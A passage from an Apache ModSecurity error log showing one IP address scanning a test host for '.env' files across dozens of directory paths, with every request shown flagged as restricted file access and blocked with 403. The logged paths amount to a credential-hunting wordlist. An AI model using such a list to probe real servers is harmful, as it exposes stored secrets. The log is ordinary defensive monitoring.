&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDEAAAAAU&quot;]
[Wed Feb 25 06:05:10.883750 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDEAAAAAU&quot;]
[Wed Feb 25 06:05:10.883937 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ6DBuTWwZsZM3_RktVDEAAAAAU&quot;]
[Wed Feb 25 06:05:10.931903 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hgs-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYnAAAAAc&quot;]
[Wed Feb 25 06:05:10.932189 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYnAAAAAc&quot;]
[Wed Feb 25 06:05:10.932384 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYnAAAAAc&quot;]
[Wed Feb 25 06:05:10.963920 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /higlass-website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYnQAAAAc&quot;]
[Wed Feb 25 06:05:10.964198 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYnQAAAAc&quot;]
[Wed Feb 25 06:05:10.964401 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYnQAAAAc&quot;]
[Wed Feb 25 06:05:10.988100 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /home/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYngAAAAc&quot;]
[Wed Feb 25 06:05:10.988364 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYngAAAAc&quot;]
[Wed Feb 25 06:05:10.988545 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYngAAAAc&quot;]
[Wed Feb 25 06:05:11.009850 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEQAAAAU&quot;]
[Wed Feb 25 06:05:11.010113 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEQAAAAU&quot;]
[Wed Feb 25 06:05:11.010296 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEQAAAAU&quot;]
[Wed Feb 25 06:05:11.015366 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /horde/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYnwAAAAc&quot;]
[Wed Feb 25 06:05:11.015604 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYnwAAAAc&quot;]
[Wed Feb 25 06:05:11.015770 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYnwAAAAc&quot;]
[Wed Feb 25 06:05:11.042441 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hotpot-app-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYoAAAAAc&quot;]
[Wed Feb 25 06:05:11.042699 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYoAAAAAc&quot;]
[Wed Feb 25 06:05:11.042891 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hotpot-app-frontend/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYoAAAAAc&quot;]
[Wed Feb 25 06:05:11.072572 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYoQAAAAc&quot;]
[Wed Feb 25 06:05:11.072829 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYoQAAAAc&quot;]
[Wed Feb 25 06:05:11.073004 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYoQAAAAc&quot;]
[Wed Feb 25 06:05:11.091529 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/train/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEgAAAAU&quot;]
[Wed Feb 25 06:05:11.091772 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEgAAAAU&quot;]
[Wed Feb 25 06:05:11.091934 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEgAAAAU&quot;]
[Wed Feb 25 06:05:11.155232 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYogAAAAc&quot;]
[Wed Feb 25 06:05:11.155485 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYogAAAAc&quot;]
[Wed Feb 25 06:05:11.155654 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ6DB4v6AM5Bs3q_JQDYogAAAAc&quot;]
[Wed Feb 25 06:05:11.217380 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /export/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEwAAAAU&quot;]
[Wed Feb 25 06:05:11.217649 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEwAAAAU&quot;]
[Wed Feb 25 06:05:11.217835 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDEwAAAAU&quot;]
[Wed Feb 25 06:05:11.276548 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fastlane/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ6DB-TWwZsZM3_RktVDFAAAAAU&quot;]
